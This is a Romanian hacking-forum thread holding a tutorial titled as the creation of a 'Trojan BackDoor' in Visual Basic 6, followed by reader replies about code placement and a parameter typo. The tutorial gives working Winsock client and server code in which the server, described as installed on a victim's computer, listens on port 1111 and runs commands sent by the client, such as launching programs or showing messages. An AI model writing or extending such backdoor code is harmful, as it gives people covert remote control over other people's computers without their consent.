Jump to content
Nytro

[ Tutorial ] Crearea unui Trojan BackDoor in VB6 by Nytro

Recommended Posts

Crearea unui Trojan BackDoor in Visual Basic 6

© Nytro 2008

www.mortal-team.com

Sa incepem .

Ce e un trojan ( Backdoor ) ? Este o aplicatie creata pentru a fura date dintr-un calculator , pentru a spiona , uneori pentru a obtine control total asupra unui calculator . Ea este de obicei formata din doua componente : client si server . Serverul este aplicatia care va trebui instalata pe calculatorul victimei , componenta care va prelucra datele , iar clientul este aplicatia care va trimite comenzi catre server , va spune ce anume sa faca serverul .

Care e ideea de baza ? Simplu . Din client trimitem un cuvant ( string ) catre server , iar atunci cand serverul va primi acel string , va face ceva anume . De exemplu , daca din client trimitem catre server stringul "mesaj" , serverul va afisa un MsgBox .

Cum vom face acest lucru ? Vom folosi WINSOCK , mai exact MSWINSCK.OCX . Ce este acest winsock ? Este o biblioteca de functii , care ne permite sa ne conectam , sa trimitem si sa receptionam date .

Sa incepem . Intram in Visual Basic , alegem Standard si punem un Winsock pe Form ( nu o sa stau sa va explic cum se face asta , daca nu stiti jucati Mario ) . Mai punem un TextBox pentru IP , si un buton de conectare . Asta pentru client .

Deschidem din nou Visual Basic , pentru server , si nu punem decat un Winsock .

Sa facem conexiunea . Serverul va deschide un port prin care va primi datele de la client , pe care le va procesa . Cum facem asta ?

Private Sub Form_Load()

On Error Resume Next ' Handler de erori . In caz de eroare , se trece peste eroare , nu se opreste rularea serverului .

Winsock1.LocalPort = 1111 ' Deschidem portul 1111 ( Puteti alege alt port )

Winsock1.Listen ' Setam serverul sa astepte date de la client

End Sub

Serverul va trebui rulat . Apoi in client , ne conectam la server :

Private Sub Command1_Click()

On Error Resume Next ' La fel

Winsock1.Close ' Inchidem o conexiune anterioara , daca aceasta exista

Winsock1.RemoteHost = Text1.Text ' IPul la care vrem sa ne conectam , cel din TextBox . Daca testezi serverul pe calculatorul tau poti folosi la IP 127.0.0.1 .

Winsock1.RemotePort = 1111 ' Setam portul prin care clientul sa se conecteze la server

Winsock1.Connect ' Conectam clientul la server

End Sub

In caz de conexiune reusita , va interveni evenimentul Winsock_Connect . Putem afisa pe titlu ferestrei clientului , ca avem o conexiune reusita .

Private Sub Winsock1_Connect()

Form1.Caption = "Conectat la" & Text1.Text ' Setam captionul ( titlul ) ferestrei ca s-a conectat , Text1.Text , fiind IP-ul scris in TextBox .

End Sub

In caz de o conexiune nereusita va interveni evenimentul Private Sub Winsock1_Error() . La fel , putem afisa la titlul ferestrei , faptul ca a intervenit o eroare :

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)

Form1.Caption = "Eroare la conectare"

End Sub

Acum in server . La apasarea butonului de conectare din client , in server , va interveni evenimentul Winsock1_ConnectionRequest . Va trebui acceptata conexiunea .

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)

Winsock1.Close ' Inchidem o conexiune existenta , in caz ca exista

Winsock1.Accept requestID ' Acceptam conexiunea de la client

End Sub

Cam asta a fost conexiunea . Acum , sa setam sa faca serverul ceva anume , pentru inceput sa deschida notepad . Pentru asta , vom trimite din client stringul "notepad" , iar cand serverul va primi acel string , va deschide notepad in calculatorul victimei .

Cum trimitem stringul ? Vom pune inca un buton , si la apasarea acestuia , vom trimite stringul .

Private Sub Command2_Click()

On Error Resume Next

Winsock1.SendData "notepad" ' Trimitem stringul "notepad"

End sub

La primirea stringului , in server , va interveni evenimentul Winsock1_DataArrival() . Vom primi si vom procesa datele .

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)

Dim date_primite As String ' Declaram variabila date_primite de tipul string

Winsock1.GetData date_primite ' Memoram datale primite in variabila date_primite .

If date_primite = "notepad" Then ' Verificam daca stringul trimis din client si memorat in server este "notepad" , si daca este , deschidem notepad .

Shell "notepad.exe" ' Deschidem notepad .

End If ' Inchidem instructiunea If

End Sub

Dar ce facem daca vrem sa trimitem mai multe date din client , si sa nu stim ce anume contin unele , sa poata fi modificate de utilizatorul clientului , de exemplu , sa trimitem un mesaj ? Simplu . Trimitem totul ca un singur string , iar in server il vom imparti intr-un vector . Vom face acest lucru in server , cu ajutorul functiei Split . Deci in client , la trimiterea stringului , va trebui sa folosim un delimitator . Vom impatri in server datele primite in vector folosind acel delimitator . Mai bine va dau un exemplu .

Mai puneti pe Form un buton si un TextBox .

Private sub Command3_click()

On Error Resume Next

Winsock1.SendData "mesaj|" + Text2.Text ' Dupa cum vedeti , dupa "mesaj" , se afla caracterul "|" . Vom folosi acest caracter pe post de delimitator . Cand serverul va primi stringul "mesaj" , va afisa un mesaj ( MsgBox ) , cu datele trimise dupa mesaj si anume Text2.Text .

End Sub

In server vom procesa datele primite :

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)

Dim date_primite As String

Dim Vector() As String ' Declaram vectorul Vector() de tip string .

Winsock1.GetData date_primite

Vector() = Split(date_primite,"|") ' Acum impartim datele primite in vector in functie de delimitatorul nostru "|" . Asadar primul element al vectorului va fi "mesaj" , iar cel de-al doilea va fi Text2.Text , mesajul trimis din server . Atentie : vectorii in Visual Basic sunt in baza 0 , adica incep de la 0 . Asadar primul element al vectorului va fi Vector(0) nu Vector(1) . Putem seta ca vectorii sa inceapa de la 1 , folosind instructiunea Option Base 1 la Declarations . Deci Vector(0) va fi "mesaj" iar Vector(1) va fi mesajul trimis din client . Va trebui sa verificam apoi primul string Vector(0) , si daca acesta este "mesaj" vom afisa ca MsgBox continutul lui Vector(1) .

If Vector(0) = "mesaj" Then ' Verificam daca primul string este "mesaj"

MsgBox Vector(1) ' Afisam ca MsgBox continutul mesajului trimis din client.

End If

End Sub

Aceasta este ideea de baza . Sa prezint in continuare starile prin care trece un Winsock . Putem verifica aceste stari , folosind metoda State . Aceste stari sunt :

0 - sckClosed - Conexiunea e inchisa

1 - sckOpen - Conexiunea e deschisa

2 - sckListening - Conexiunea e in asteptare

3 - sckConnectionPending - Conexiune in desfasurare

4 - sckResolvingHost - In curs de rezolvare

5 - sckResolved - Sistem gazda rezolvat

6 - sckConnecting - Se conecteaza

7 - sckConnected - Conectat

8 - sckClosing - Se inchide conexiunea

9 - sckError - Eroare

Ce putem face cu aceste state-uri ? De exemplu nu lasam sa se trimita un string din client in caz ca acesta nu este conectat la server .

Private Sub Command2_Click()

If Winsock1.State <> 7 ' State-ul este 7 daca este conectat

MsgBox "Nu esti conectat" ' In caz ca nu e conectat , afisam mesajul "Nu esti conectat" .

Else: Winsock1.SendData "notepad"

End If

End Sub

Daca incercam sa trimitem un string si clientul nu e conectat , si nu folosim On Error Resume Next , clientul se va inchide in urma unei erori .

Nu pare cine stie ce , dar de la aceasta idee au plecat toti . Aceasta este decat prima parte , voi reveni si cu o a doua parte in care voi incerca sa va explic cat mai multe functii : Open CDRom , Hide Mouse Cursor etc .

Sper ca ati inteles .

Credit : Nytro

www.mortal-team.com

Link to comment
Share on other sites

sunt cam noob cand vine vorba de visual basic si nu am inteles unde trebuie scris

Private Sub Command1_Click()

On Error Resume Next

Winsock1.Close

Winsock1.RemoteHost = Text1.Text

Winsock1.RemotePort = 1111

Winsock1.Connect

End Sub

la servar sau la client

Link to comment
Share on other sites

Cred ca ai gresit undeva si anume aici " >> Swap Mouse Buttons - adica sa inversam butoanele mouseului .

Functia noastra are nevoie de un singur parametru si anume bSwap . Vom da acestui parametru valoarea 0 pentru ca butoanele sa nu fie inversate , si 0 ca sa le inversam .

" Putem sa dam aceasi valoare pentru doua lucruri total diferite ?

sau vroiai sa spui 0 & 1 ..? sau invers ?

Link to comment
Share on other sites

Ceea ce am vrut sa spun acum 3 ani cand am scris articolul, era ca trebuie sa apelam acea functie cu valoarea parametrului 0 pentru ca butoanele mouse-ului sa nu fie inversate si 1 ca sa fie inversate.

SwapMouseButton Function (Windows)

Parametrul este de tip BOOL, adica trebuie sa fie true (1) sau false (0), dar in VB6, True == -1, deci poti avea probleme. Cel mai simplu e sa folosesti 0 sau 1.

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...